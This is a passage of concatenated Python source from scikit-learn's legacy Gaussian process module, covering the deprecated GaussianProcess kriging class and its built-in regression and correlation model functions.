                    [estimator.log_marginal_likelihood(
                        theta[n_dims * i:n_dims * (i + 1)])
                     for i, estimator in enumerate(estimators)])
            else:
                raise ValueError("Shape of theta must be either %d or %d. "
                                 "Obtained theta with shape %d."
                                 % (n_dims, n_dims * self.classes_.shape[0],
                                    theta.shape[0]))






# -*- coding: utf-8 -*-

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
#         (mostly translation, see implementation details)
# License: BSD 3 clause

from __future__ import print_function

import numpy as np
from scipy import linalg, optimize

from ..base import BaseEstimator, RegressorMixin
from ..metrics.pairwise import manhattan_distances
from ..utils import check_random_state, check_array, check_X_y
from ..utils.validation import check_is_fitted
from . import regression_models as regression
from . import correlation_models as correlation
from ..utils import deprecated

MACHINE_EPSILON = np.finfo(np.double).eps


@deprecated("l1_cross_distances was deprecated in version 0.18 "
            "and will be removed in 0.20.")
def l1_cross_distances(X):
    """
    Computes the nonzero componentwise L1 cross-distances between the vectors
    in X.

    Parameters
    ----------

    X: array_like
        An array with shape (n_samples, n_features)

    Returns
    -------

    D: array with shape (n_samples * (n_samples - 1) / 2, n_features)
        The array of componentwise L1 cross-distances.

    ij: arrays with shape (n_samples * (n_samples - 1) / 2, 2)
        The indices i and j of the vectors in X associated to the cross-
        distances in D: D[k] = np.abs(X[ij[k, 0]] - Y[ij[k, 1]]).
    """
    X = check_array(X)
    n_samples, n_features = X.shape
    n_nonzero_cross_dist = n_samples * (n_samples - 1) // 2
    ij = np.zeros((n_nonzero_cross_dist, 2), dtype=np.int)
    D = np.zeros((n_nonzero_cross_dist, n_features))
    ll_1 = 0
    for k in range(n_samples - 1):
        ll_0 = ll_1
        ll_1 = ll_0 + n_samples - k - 1
        ij[ll_0:ll_1, 0] = k
        ij[ll_0:ll_1, 1] = np.arange(k + 1, n_samples)
        D[ll_0:ll_1] = np.abs(X[k] - X[(k + 1):n_samples])

    return D, ij


@deprecated("GaussianProcess was deprecated in version 0.18 and will be "
            "removed in 0.20. Use the GaussianProcessRegressor instead.")
class GaussianProcess(BaseEstimator, RegressorMixin):
    """The legacy Gaussian Process model class.

    Note that this class was deprecated in version 0.18 and will be
    removed in 0.20. Use the GaussianProcessRegressor instead.

    Read more in the :ref:`User Guide <gaussian_process>`.

    Parameters
    ----------
    regr : string or callable, optional
        A regression function returning an array of outputs of the linear
        regression functional basis. The number of observations n_samples
        should be greater than the size p of this basis.
        Default assumes a simple constant regression trend.
        Available built-in regression models are::

            'constant', 'linear', 'quadratic'

    corr : string or callable, optional
        A stationary autocorrelation function returning the autocorrelation
        between two points x and x'.
        Default assumes a squared-exponential autocorrelation model.
        Built-in correlation models are::

            'absolute_exponential', 'squared_exponential',
            'generalized_exponential', 'cubic', 'linear'

    beta0 : double array_like, optional
        The regression weight vector to perform Ordinary Kriging (OK).
        Default assumes Universal Kriging (UK) so that the vector beta of
        regression weights is estimated using the maximum likelihood
        principle.

    storage_mode : string, optional
        A string specifying whether the Cholesky decomposition of the
        correlation matrix should be stored in the class (storage_mode =
        'full') or not (storage_mode = 'light').
        Default assumes storage_mode = 'full', so that the
        Cholesky decomposition of the correlation matrix is stored.
        This might be a useful parameter when one is not interested in the
        MSE and only plan to estimate the BLUP, for which the correlation
        matrix is not required.

    verbose : boolean, optional
        A boolean specifying the verbose level.
        Default is verbose = False.

    theta0 : double array_like, optional
        An array with shape (n_features, ) or (1, ).
        The parameters in the autocorrelation model.
        If thetaL and thetaU are also specified, theta0 is considered as
        the starting point for the maximum likelihood estimation of the
        best set of parameters.
        Default assumes isotropic autocorrelation model with theta0 = 1e-1.

    thetaL : double array_like, optional
        An array with shape matching theta0's.
        Lower bound on the autocorrelation parameters for maximum
        likelihood estimation.
        Default is None, so that it skips maximum likelihood estimation and
        it uses theta0.

    thetaU : double array_like, optional
        An array with shape matching theta0's.
        Upper bound on the autocorrelation parameters for maximum
        likelihood estimation.
        Default is None, so that it skips maximum likelihood estimation and
        it uses theta0.

    normalize : boolean, optional
        Input X and observations y are centered and reduced wrt
        means and standard deviations estimated from the n_samples
        observations provided.
        Default is normalize = True so that data is normalized to ease
        maximum likelihood estimation.

    nugget : double or ndarray, optional
        Introduce a nugget effect to allow smooth predictions from noisy
        data.  If nugget is an ndarray, it must be the same length as the
        number of data points used for the fit.
        The nugget is added to the diagonal of the assumed training covariance;
        in this way it acts as a Tikhonov regularization in the problem.  In
        the special case of the squared exponential correlation function, the
        nugget mathematically represents the variance of the input values.
        Default assumes a nugget close to machine precision for the sake of
        robustness (nugget = 10. * MACHINE_EPSILON).

    optimizer : string, optional
        A string specifying the optimization algorithm to be used.
        Default uses 'fmin_cobyla' algorithm from scipy.optimize.
        Available optimizers are::

            'fmin_cobyla', 'Welch'

        'Welch' optimizer is dued to Welch et al., see reference [WBSWM1992]_.
        It consists in iterating over several one-dimensional optimizations
        instead of running one single multi-dimensional optimization.

    random_start : int, optional
        The number of times the Maximum Likelihood Estimation should be
        performed from a random starting point.
        The first MLE always uses the specified starting point (theta0),
        the next starting points are picked at random according to an
        exponential distribution (log-uniform on [thetaL, thetaU]).
        Default does not use random starting point (random_start = 1).

    random_state: integer or numpy.RandomState, optional
        The generator used to shuffle the sequence of coordinates of theta in
        the Welch optimizer. If an integer is given, it fixes the seed.
        Defaults to the global numpy random number generator.


    Attributes
    ----------
    theta_ : array
        Specified theta OR the best set of autocorrelation parameters (the \
        sought maximizer of the reduced likelihood function).

    reduced_likelihood_function_value_ : array
        The optimal reduced likelihood function value.

    Examples
    --------
    >>> import numpy as np
    >>> from sklearn.gaussian_process import GaussianProcess
    >>> X = np.array([[1., 3., 5., 6., 7., 8.]]).T
    >>> y = (X * np.sin(X)).ravel()
    >>> gp = GaussianProcess(theta0=0.1, thetaL=.001, thetaU=1.)
    >>> gp.fit(X, y)                                      # doctest: +ELLIPSIS
    GaussianProcess(beta0=None...
            ...

    Notes
    -----
    The presentation implementation is based on a translation of the DACE
    Matlab toolbox, see reference [NLNS2002]_.

    References
    ----------

    .. [NLNS2002] `H.B. Nielsen, S.N. Lophaven, H. B. Nielsen and J.
        Sondergaard.  DACE - A MATLAB Kriging Toolbox.` (2002)
        http://imedea.uib-csic.es/master/cambioglobal/Modulo_V_cod101615/Lab/lab_maps/krigging/DACE-krigingsoft/dace/dace.pdf

    .. [WBSWM1992] `W.J. Welch, R.J. Buck, J. Sacks, H.P. Wynn, T.J. Mitchell,
        and M.D.  Morris (1992). Screening, predicting, and computer
        experiments.  Technometrics, 34(1) 15--25.`
        http://www.jstor.org/stable/1269548
    """

    _regression_types = {
        'constant': regression.constant,
        'linear': regression.linear,
        'quadratic': regression.quadratic}

    _correlation_types = {
        'absolute_exponential': correlation.absolute_exponential,
        'squared_exponential': correlation.squared_exponential,
        'generalized_exponential': correlation.generalized_exponential,
        'cubic': correlation.cubic,
        'linear': correlation.linear}

    _optimizer_types = [
        'fmin_cobyla',
        'Welch']

    def __init__(self, regr='constant', corr='squared_exponential', beta0=None,
                 storage_mode='full', verbose=False, theta0=1e-1,
                 thetaL=None, thetaU=None, optimizer='fmin_cobyla',
                 random_start=1, normalize=True,
                 nugget=10. * MACHINE_EPSILON, random_state=None):

        self.regr = regr
        self.corr = corr
        self.beta0 = beta0
        self.storage_mode = storage_mode
        self.verbose = verbose
        self.theta0 = theta0
        self.thetaL = thetaL
        self.thetaU = thetaU
        self.normalize = normalize
        self.nugget = nugget
        self.optimizer = optimizer
        self.random_start = random_start
        self.random_state = random_state

    def fit(self, X, y):
        """
        The Gaussian Process model fitting method.

        Parameters
        ----------
        X : double array_like
            An array with shape (n_samples, n_features) with the input at which
            observations were made.

        y : double array_like
            An array with shape (n_samples, ) or shape (n_samples, n_targets)
            with the observations of the output to be predicted.

        Returns
        -------
        gp : self
            A fitted Gaussian Process model object awaiting data to perform
            predictions.
        """
        # Run input checks
        self._check_params()

        self.random_state = check_random_state(self.random_state)

        # Force data to 2D numpy.array
        X, y = check_X_y(X, y, multi_output=True, y_numeric=True)
        self.y_ndim_ = y.ndim
        if y.ndim == 1:
            y = y[:, np.newaxis]

        # Check shapes of DOE & observations
        n_samples, n_features = X.shape
        _, n_targets = y.shape

        # Run input checks
        self._check_params(n_samples)

        # Normalize data or don't
        if self.normalize:
            X_mean = np.mean(X, axis=0)
            X_std = np.std(X, axis=0)
            y_mean = np.mean(y, axis=0)
            y_std = np.std(y, axis=0)
            X_std[X_std == 0.] = 1.
            y_std[y_std == 0.] = 1.
            # center and scale X if necessary
            X = (X - X_mean) / X_std
            y = (y - y_mean) / y_std
        else:
            X_mean = np.zeros(1)
            X_std = np.ones(1)
            y_mean = np.zeros(1)
            y_std = np.ones(1)

        # Calculate matrix of distances D between samples
        D, ij = l1_cross_distances(X)
        if (np.min(np.sum(D, axis=1)) == 0.
                and self.corr != correlation.pure_nugget):
            raise Exception("Multiple input features cannot have the same"
                            " target value.")

        # Regression matrix and parameters
        F = self.regr(X)
        n_samples_F = F.shape[0]
        if F.ndim > 1:
            p = F.shape[1]
        else:
            p = 1
        if n_samples_F != n_samples:
            raise Exception("Number of rows in F and X do not match. Most "
                            "likely something is going wrong with the "
                            "regression model.")
        if p > n_samples_F:
            raise Exception(("Ordinary least squares problem is undetermined "
                             "n_samples=%d must be greater than the "
                             "regression model size p=%d.") % (n_samples, p))
        if self.beta0 is not None:
            if self.beta0.shape[0] != p:
                raise Exception("Shapes of beta0 and F do not match.")

        # Set attributes
        self.X = X
        self.y = y
        self.D = D
        self.ij = ij
        self.F = F
        self.X_mean, self.X_std = X_mean, X_std
        self.y_mean, self.y_std = y_mean, y_std

        # Determine Gaussian Process model parameters
        if self.thetaL is not None and self.thetaU is not None:
            # Maximum Likelihood Estimation of the parameters
            if self.verbose:
                print("Performing Maximum Likelihood Estimation of the "
                      "autocorrelation parameters...")
            self.theta_, self.reduced_likelihood_function_value_, par = \
                self._arg_max_reduced_likelihood_function()
            if np.isinf(self.reduced_likelihood_function_value_):
                raise Exception("Bad parameter region. "
                                "Try increasing upper bound")

        else:
            # Given parameters
            if self.verbose:
                print("Given autocorrelation parameters. "
                      "Computing Gaussian Process model parameters...")
            self.theta_ = self.theta0
            self.reduced_likelihood_function_value_, par = \
                self.reduced_likelihood_function()
            if np.isinf(self.reduced_likelihood_function_value_):
                raise Exception("Bad point. Try increasing theta0.")

        self.beta = par['beta']
        self.gamma = par['gamma']
        self.sigma2 = par['sigma2']
        self.C = par['C']
        self.Ft = par['Ft']
        self.G = par['G']

        if self.storage_mode == 'light':
            # Delete heavy data (it will be computed again if required)
            # (it is required only when MSE is wanted in self.predict)
            if self.verbose:
                print("Light storage mode specified. "
                      "Flushing autocorrelation matrix...")
            self.D = None
            self.ij = None
            self.F = None
            self.C = None
            self.Ft = None
            self.G = None

        return self

    def predict(self, X, eval_MSE=False, batch_size=None):
        """
        This function evaluates the Gaussian Process model at x.

        Parameters
        ----------
        X : array_like
            An array with shape (n_eval, n_features) giving the point(s) at
            which the prediction(s) should be made.

        eval_MSE : boolean, optional
            A boolean specifying whether the Mean Squared Error should be
            evaluated or not.
            Default assumes evalMSE = False and evaluates only the BLUP (mean
            prediction).

        batch_size : integer, optional
            An integer giving the maximum number of points that can be
            evaluated simultaneously (depending on the available memory).
            Default is None so that all given points are evaluated at the same
            time.

        Returns
        -------
        y : array_like, shape (n_samples, ) or (n_samples, n_targets)
            An array with shape (n_eval, ) if the Gaussian Process was trained
            on an array of shape (n_samples, ) or an array with shape
            (n_eval, n_targets) if the Gaussian Process was trained on an array
            of shape (n_samples, n_targets) with the Best Linear Unbiased
            Prediction at x.

        MSE : array_like, optional (if eval_MSE == True)
            An array with shape (n_eval, ) or (n_eval, n_targets) as with y,
            with the Mean Squared Error at x.
        """
        check_is_fitted(self, "X")

        # Check input shapes
        X = check_array(X)
        n_eval, _ = X.shape
        n_samples, n_features = self.X.shape
        n_samples_y, n_targets = self.y.shape

        # Run input checks
        self._check_params(n_samples)

        if X.shape[1] != n_features:
            raise ValueError(("The number of features in X (X.shape[1] = %d) "
                              "should match the number of features used "
                              "for fit() "
                              "which is %d.") % (X.shape[1], n_features))

        if batch_size is None:
            # No memory management
            # (evaluates all given points in a single batch run)

            # Normalize input
            X = (X - self.X_mean) / self.X_std

            # Initialize output
            y = np.zeros(n_eval)
            if eval_MSE:
                MSE = np.zeros(n_eval)

            # Get pairwise componentwise L1-distances to the input training set
            dx = manhattan_distances(X, Y=self.X, sum_over_features=False)
            # Get regression function and correlation
            f = self.regr(X)
            r = self.corr(self.theta_, dx).reshape(n_eval, n_samples)

            # Scaled predictor
            y_ = np.dot(f, self.beta) + np.dot(r, self.gamma)

            # Predictor
            y = (self.y_mean + self.y_std * y_).reshape(n_eval, n_targets)

            if self.y_ndim_ == 1:
                y = y.ravel()

            # Mean Squared Error
            if eval_MSE:
                C = self.C
                if C is None:
                    # Light storage mode (need to recompute C, F, Ft and G)
                    if self.verbose:
                        print("This GaussianProcess used 'light' storage mode "
                              "at instantiation. Need to recompute "
                              "autocorrelation matrix...")
                    reduced_likelihood_function_value, par = \
                        self.reduced_likelihood_function()
                    self.C = par['C']
                    self.Ft = par['Ft']
                    self.G = par['G']

                rt = linalg.solve_triangular(self.C, r.T, lower=True)

                if self.beta0 is None:
                    # Universal Kriging
                    u = linalg.solve_triangular(self.G.T,
                                                np.dot(self.Ft.T, rt) - f.T,
                                                lower=True)
                else:
                    # Ordinary Kriging
                    u = np.zeros((n_targets, n_eval))

                MSE = np.dot(self.sigma2.reshape(n_targets, 1),
                             (1. - (rt ** 2.).sum(axis=0)
                              + (u ** 2.).sum(axis=0))[np.newaxis, :])
                MSE = np.sqrt((MSE ** 2.).sum(axis=0) / n_targets)

                # Mean Squared Error might be slightly negative depending on
                # machine precision: force to zero!
                MSE[MSE < 0.] = 0.

                if self.y_ndim_ == 1:
                    MSE = MSE.ravel()

                return y, MSE

            else:

                return y

        else:
            # Memory management

            if type(batch_size) is not int or batch_size <= 0:
                raise Exception("batch_size must be a positive integer")

            if eval_MSE:

                y, MSE = np.zeros(n_eval), np.zeros(n_eval)
                for k in range(max(1, n_eval / batch_size)):
                    batch_from = k * batch_size
                    batch_to = min([(k + 1) * batch_size + 1, n_eval + 1])
                    y[batch_from:batch_to], MSE[batch_from:batch_to] = \
                        self.predict(X[batch_from:batch_to],
                                     eval_MSE=eval_MSE, batch_size=None)

                return y, MSE

            else:

                y = np.zeros(n_eval)
                for k in range(max(1, n_eval / batch_size)):
                    batch_from = k * batch_size
                    batch_to = min([(k + 1) * batch_size + 1, n_eval + 1])
                    y[batch_from:batch_to] = \
                        self.predict(X[batch_from:batch_to],
                                     eval_MSE=eval_MSE, batch_size=None)

                return y

    def reduced_likelihood_function(self, theta=None):
        """
        This function determines the BLUP parameters and evaluates the reduced
        likelihood function for the given autocorrelation parameters theta.

        Maximizing this function wrt the autocorrelation parameters theta is
        equivalent to maximizing the likelihood of the assumed joint Gaussian
        distribution of the observations y evaluated onto the design of
        experiments X.

        Parameters
        ----------
        theta : array_like, optional
            An array containing the autocorrelation parameters at which the
            Gaussian Process model parameters should be determined.
            Default uses the built-in autocorrelation parameters
            (ie ``theta = self.theta_``).

        Returns
        -------
        reduced_likelihood_function_value : double
            The value of the reduced likelihood function associated to the
            given autocorrelation parameters theta.

        par : dict
            A dictionary containing the requested Gaussian Process model
            parameters:

                sigma2
                        Gaussian Process variance.
                beta
                        Generalized least-squares regression weights for
                        Universal Kriging or given beta0 for Ordinary
                        Kriging.
                gamma
                        Gaussian Process weights.
                C
                        Cholesky decomposition of the correlation matrix [R].
                Ft
                        Solution of the linear equation system : [R] x Ft = F
                G
                        QR decomposition of the matrix Ft.
        """
        check_is_fitted(self, "X")

        if theta is None:
            # Use built-in autocorrelation parameters
            theta = self.theta_

        # Initialize output
        reduced_likelihood_function_value = - np.inf
        par = {}

        # Retrieve data
        n_samples = self.X.shape[0]
        D = self.D
        ij = self.ij
        F = self.F

        if D is None:
            # Light storage mode (need to recompute D, ij and F)
            D, ij = l1_cross_distances(self.X)
            if (np.min(np.sum(D, axis=1)) == 0.
                    and self.corr != correlation.pure_nugget):
                raise Exception("Multiple X are not allowed")
            F = self.regr(self.X)

        # Set up R
        r = self.corr(theta, D)
        R = np.eye(n_samples) * (1. + self.nugget)
        R[ij[:, 0], ij[:, 1]] = r
        R[ij[:, 1], ij[:, 0]] = r

        # Cholesky decomposition of R
        try:
            C = linalg.cholesky(R, lower=True)
        except linalg.LinAlgError:
            return reduced_likelihood_function_value, par

        # Get generalized least squares solution
        Ft = linalg.solve_triangular(C, F, lower=True)
        try:
            Q, G = linalg.qr(Ft, econ=True)
        except:
            #/usr/lib/python2.6/dist-packages/scipy/linalg/decomp.py:1177:
            # DeprecationWarning: qr econ argument will be removed after scipy
            # 0.7. The economy transform will then be available through the
            # mode='economic' argument.
            Q, G = linalg.qr(Ft, mode='economic')

        sv = linalg.svd(G, compute_uv=False)
        rcondG = sv[-1] / sv[0]
        if rcondG < 1e-10:
            # Check F
            sv = linalg.svd(F, compute_uv=False)
            condF = sv[0] / sv[-1]
            if condF > 1e15:
                raise Exception("F is too ill conditioned. Poor combination "
                                "of regression model and observations.")
            else:
                # Ft is too ill conditioned, get out (try different theta)
                return reduced_likelihood_function_value, par

        Yt = linalg.solve_triangular(C, self.y, lower=True)
        if self.beta0 is None:
            # Universal Kriging
            beta = linalg.solve_triangular(G, np.dot(Q.T, Yt))
        else:
            # Ordinary Kriging
            beta = np.array(self.beta0)

        rho = Yt - np.dot(Ft, beta)
        sigma2 = (rho ** 2.).sum(axis=0) / n_samples
        # The determinant of R is equal to the squared product of the diagonal
        # elements of its Cholesky decomposition C
        detR = (np.diag(C) ** (2. / n_samples)).prod()

        # Compute/Organize output
        reduced_likelihood_function_value = - sigma2.sum() * detR
        par['sigma2'] = sigma2 * self.y_std ** 2.
        par['beta'] = beta
        par['gamma'] = linalg.solve_triangular(C.T, rho)
        par['C'] = C
        par['Ft'] = Ft
        par['G'] = G

        return reduced_likelihood_function_value, par

    def _arg_max_reduced_likelihood_function(self):
        """
        This function estimates the autocorrelation parameters theta as the
        maximizer of the reduced likelihood function.
        (Minimization of the opposite reduced likelihood function is used for
        convenience)

        Parameters
        ----------
        self : All parameters are stored in the Gaussian Process model object.

        Returns
        -------
        optimal_theta : array_like
            The best set of autocorrelation parameters (the sought maximizer of
            the reduced likelihood function).

        optimal_reduced_likelihood_function_value : double
            The optimal reduced likelihood function value.

        optimal_par : dict
            The BLUP parameters associated to thetaOpt.
        """

        # Initialize output
        best_optimal_theta = []
        best_optimal_rlf_value = []
        best_optimal_par = []

        if self.verbose:
            print("The chosen optimizer is: " + str(self.optimizer))
            if self.random_start > 1:
                print(str(self.random_start) + " random starts are required.")

        percent_completed = 0.

        # Force optimizer to fmin_cobyla if the model is meant to be isotropic
        if self.optimizer == 'Welch' and self.theta0.size == 1:
            self.optimizer = 'fmin_cobyla'

        if self.optimizer == 'fmin_cobyla':

            def minus_reduced_likelihood_function(log10t):
                return - self.reduced_likelihood_function(
                    theta=10. ** log10t)[0]

            constraints = []
            for i in range(self.theta0.size):
                constraints.append(lambda log10t, i=i:
                                   log10t[i] - np.log10(self.thetaL[0, i]))
                constraints.append(lambda log10t, i=i:
                                   np.log10(self.thetaU[0, i]) - log10t[i])

            for k in range(self.random_start):

                if k == 0:
                    # Use specified starting point as first guess
                    theta0 = self.theta0
                else:
                    # Generate a random starting point log10-uniformly
                    # distributed between bounds
                    log10theta0 = (np.log10(self.thetaL)
                                   + self.random_state.rand(*self.theta0.shape)
                                   * np.log10(self.thetaU / self.thetaL))
                    theta0 = 10. ** log10theta0

                # Run Cobyla
                try:
                    log10_optimal_theta = \
                        optimize.fmin_cobyla(minus_reduced_likelihood_function,
                                             np.log10(theta0).ravel(), constraints,
                                             iprint=0)
                except ValueError as ve:
                    print("Optimization failed. Try increasing the ``nugget``")
                    raise ve

                optimal_theta = 10. ** log10_optimal_theta
                optimal_rlf_value, optimal_par = \
                    self.reduced_likelihood_function(theta=optimal_theta)

                # Compare the new optimizer to the best previous one
                if k > 0:
                    if optimal_rlf_value > best_optimal_rlf_value:
                        best_optimal_rlf_value = optimal_rlf_value
                        best_optimal_par = optimal_par
                        best_optimal_theta = optimal_theta
                else:
                    best_optimal_rlf_value = optimal_rlf_value
                    best_optimal_par = optimal_par
                    best_optimal_theta = optimal_theta
                if self.verbose and self.random_start > 1:
                    if (20 * k) / self.random_start > percent_completed:
                        percent_completed = (20 * k) / self.random_start
                        print("%s completed" % (5 * percent_completed))

            optimal_rlf_value = best_optimal_rlf_value
            optimal_par = best_optimal_par
            optimal_theta = best_optimal_theta

        elif self.optimizer == 'Welch':

            # Backup of the given attributes
            theta0, thetaL, thetaU = self.theta0, self.thetaL, self.thetaU
            corr = self.corr
            verbose = self.verbose

            # This will iterate over fmin_cobyla optimizer
            self.optimizer = 'fmin_cobyla'
            self.verbose = False

            # Initialize under isotropy assumption
            if verbose:
                print("Initialize under isotropy assumption...")
            self.theta0 = check_array(self.theta0.min())
            self.thetaL = check_array(self.thetaL.min())
            self.thetaU = check_array(self.thetaU.max())
            theta_iso, optimal_rlf_value_iso, par_iso = \
                self._arg_max_reduced_likelihood_function()
            optimal_theta = theta_iso + np.zeros(theta0.shape)

            # Iterate over all dimensions of theta allowing for anisotropy
            if verbose:
                print("Now improving allowing for anisotropy...")
            for i in self.random_state.permutation(theta0.size):
                if verbose:
                    print("Proceeding along dimension %d..." % (i + 1))
                self.theta0 = check_array(theta_iso)
                self.thetaL = check_array(thetaL[0, i])
                self.thetaU = check_array(thetaU[0, i])

                def corr_cut(t, d):
                    return corr(check_array(np.hstack([optimal_theta[0][0:i],
                                                       t[0],
                                                       optimal_theta[0][(i +
                                                                         1)::]])),
                                d)

                self.corr = corr_cut
                optimal_theta[0, i], optimal_rlf_value, optimal_par = \
                    self._arg_max_reduced_likelihood_function()

            # Restore the given attributes
            self.theta0, self.thetaL, self.thetaU = theta0, thetaL, thetaU
            self.corr = corr
            self.optimizer = 'Welch'
            self.verbose = verbose

        else:

            raise NotImplementedError("This optimizer ('%s') is not "
                                      "implemented yet. Please contribute!"
                                      % self.optimizer)

        return optimal_theta, optimal_rlf_value, optimal_par

    def _check_params(self, n_samples=None):

        # Check regression model
        if not callable(self.regr):
            if self.regr in self._regression_types:
                self.regr = self._regression_types[self.regr]
            else:
                raise ValueError("regr should be one of %s or callable, "
                                 "%s was given."
                                 % (self._regression_types.keys(), self.regr))

        # Check regression weights if given (Ordinary Kriging)
        if self.beta0 is not None:
            self.beta0 = np.atleast_2d(self.beta0)
            if self.beta0.shape[1] != 1:
                # Force to column vector
                self.beta0 = self.beta0.T

        # Check correlation model
        if not callable(self.corr):
            if self.corr in self._correlation_types:
                self.corr = self._correlation_types[self.corr]
            else:
                raise ValueError("corr should be one of %s or callable, "
                                 "%s was given."
                                 % (self._correlation_types.keys(), self.corr))

        # Check storage mode
        if self.storage_mode != 'full' and self.storage_mode != 'light':
            raise ValueError("Storage mode should either be 'full' or "
                             "'light', %s was given." % self.storage_mode)

        # Check correlation parameters
        self.theta0 = np.atleast_2d(self.theta0)
        lth = self.theta0.size

        if self.thetaL is not None and self.thetaU is not None:
            self.thetaL = np.atleast_2d(self.thetaL)
            self.thetaU = np.atleast_2d(self.thetaU)
            if self.thetaL.size != lth or self.thetaU.size != lth:
                raise ValueError("theta0, thetaL and thetaU must have the "
                                 "same length.")
            if np.any(self.thetaL <= 0) or np.any(self.thetaU < self.thetaL):
                raise ValueError("The bounds must satisfy O < thetaL <= "
                                 "thetaU.")

        elif self.thetaL is None and self.thetaU is None:
            if np.any(self.theta0 <= 0):
                raise ValueError("theta0 must be strictly positive.")

        elif self.thetaL is None or self.thetaU is None:
            raise ValueError("thetaL and thetaU should either be both or "
                             "neither specified.")

        # Force verbose type to bool
        self.verbose = bool(self.verbose)

        # Force normalize type to bool
        self.normalize = bool(self.normalize)

        # Check nugget value
        self.nugget = np.asarray(self.nugget)
        if np.any(self.nugget) < 0.:
            raise ValueError("nugget must be positive or zero.")
        if (n_samples is not None
                and self.nugget.shape not in [(), (n_samples,)]):
            raise ValueError("nugget must be either a scalar "
                             "or array of length n_samples.")

        # Check optimizer
        if self.optimizer not in self._optimizer_types:
            raise ValueError("optimizer should be one of %s"
                             % self._optimizer_types)

        # Force random_start type to int
        self.random_start = int(self.random_start)






# -*- coding: utf-8 -*-

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
#         (mostly translation, see implementation details)
# License: BSD 3 clause

"""
The built-in regression models submodule for the gaussian_process module.
"""


import numpy as np


def constant(x):
    """
    Zero order polynomial (constant, p = 1) regression model.

    x --> f(x) = 1

    Parameters
    ----------
    x : array_like
        An array with shape (n_eval, n_features) giving the locations x at
        which the regression model should be evaluated.

    Returns
    -------
    f : array_like
        An array with shape (n_eval, p) with the values of the regression
        model.
    """
    x = np.asarray(x, dtype=np.float64)
    n_eval = x.shape[0]
    f = np.ones([n_eval, 1])
    return f


def linear(x):
    """
    First order polynomial (linear, p = n+1) regression model.

    x --> f(x) = [ 1, x_1, ..., x_n ].T

    Parameters
    ----------
    x : array_like
        An array with shape (n_eval, n_features) giving the locations x at
        which the regression model should be evaluated.

    Returns
    -------
    f : array_like
        An array with shape (n_eval, p) with the values of the regression
        model.
    """
    x = np.asarray(x, dtype=np.float64)
    n_eval = x.shape[0]
    f = np.hstack([np.ones([n_eval, 1]), x])
    return f


def quadratic(x):
    """
    Second order polynomial (quadratic, p = n*(n-1)/2+n+1) regression model.

    x --> f(x) = [ 1, { x_i, i = 1,...,n }, { x_i * x_j,  (i,j) = 1,...,n } ].T
                                                          i > j

    Parameters
    ----------
    x : array_like
        An array with shape (n_eval, n_features) giving the locations x at
        which the regression model should be evaluated.

    Returns
    -------
    f : array_like
        An array with shape (n_eval, p) with the values of the regression
        model.
    """

    x = np.asarray(x, dtype=np.float64)
    n_eval, n_features = x.shape
    f = np.hstack([np.ones([n_eval, 1]), x])
    for k in range(n_features):
        f = np.hstack([f, x[:, k, np.newaxis] * x[:, k:]])

    return f






# -*- coding: utf-8 -*-

# Author: Vincent Dubourg <vincent.dubourg@gmail.com>
#         (mostly translation, see implementation details)
# License: BSD 3 clause

"""
The built-in correlation models submodule for the gaussian_process module.
"""


import numpy as np


def absolute_exponential(theta, d):
    """
    Absolute exponential autocorrelation model.
    (Ornstein-Uhlenbeck stochastic process)::

                                          n
        theta, d --> r(theta, d) = exp(  sum  - theta_i * |d_i| )
                                        i = 1

    Parameters
    ----------
    theta : array_like
        An array with shape 1 (isotropic) or n (anisotropic) giving the
        autocorrelation parameter(s).

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
        An array with shape (n_eval, ) containing the values of the
        autocorrelation model.
    """
    theta = np.asarray(theta, dtype=np.float64)
    d = np.abs(np.asarray(d, dtype=np.float64))

    if d.ndim > 1:
        n_features = d.shape[1]
    else:
        n_features = 1

    if theta.size == 1:
        return np.exp(- theta[0] * np.sum(d, axis=1))
    elif theta.size != n_features:
        raise ValueError("Length of theta must be 1 or %s" % n_features)
    else:
        return np.exp(- np.sum(theta.reshape(1, n_features) * d, axis=1))


def squared_exponential(theta, d):
    """
    Squared exponential correlation model (Radial Basis Function).
    (Infinitely differentiable stochastic process, very smooth)::

                                          n
        theta, d --> r(theta, d) = exp(  sum  - theta_i * (d_i)^2 )
                                        i = 1

    Parameters
    ----------
    theta : array_like
        An array with shape 1 (isotropic) or n (anisotropic) giving the
        autocorrelation parameter(s).

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
        An array with shape (n_eval, ) containing the values of the
        autocorrelation model.
    """

    theta = np.asarray(theta, dtype=np.float64)
    d = np.asarray(d, dtype=np.float64)

    if d.ndim > 1:
        n_features = d.shape[1]
    else:
        n_features = 1

    if theta.size == 1:
        return np.exp(-theta[0] * np.sum(d ** 2, axis=1))
    elif theta.size != n_features:
        raise ValueError("Length of theta must be 1 or %s" % n_features)
    else:
        return np.exp(-np.sum(theta.reshape(1, n_features) * d ** 2, axis=1))


def generalized_exponential(theta, d):
    """
    Generalized exponential correlation model.
    (Useful when one does not know the smoothness of the function to be
    predicted.)::

                                          n
        theta, d --> r(theta, d) = exp(  sum  - theta_i * |d_i|^p )
                                        i = 1

    Parameters
    ----------
    theta : array_like
        An array with shape 1+1 (isotropic) or n+1 (anisotropic) giving the
        autocorrelation parameter(s) (theta, p).

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
        An array with shape (n_eval, ) with the values of the autocorrelation
        model.
    """

    theta = np.asarray(theta, dtype=np.float64)
    d = np.asarray(d, dtype=np.float64)

    if d.ndim > 1:
        n_features = d.shape[1]
    else:
        n_features = 1

    lth = theta.size
    if n_features > 1 and lth == 2:
        theta = np.hstack([np.repeat(theta[0], n_features), theta[1]])
    elif lth != n_features + 1:
        raise Exception("Length of theta must be 2 or %s" % (n_features + 1))
    else:
        theta = theta.reshape(1, lth)

    td = theta[:, 0:-1].reshape(1, n_features) * np.abs(d) ** theta[:, -1]
    r = np.exp(- np.sum(td, 1))

    return r


def pure_nugget(theta, d):
    """
    Spatial independence correlation model (pure nugget).
    (Useful when one wants to solve an ordinary least squares problem!)::

                                           n
        theta, d --> r(theta, d) = 1 if   sum |d_i| == 0
                                         i = 1
                                   0 otherwise

    Parameters
    ----------
    theta : array_like
        None.

    d : array_like
        An array with shape (n_eval, n_features) giving the componentwise
        distances between locations x and x' at which the correlation model
        should be evaluated.

    Returns
    -------
    r : array_like
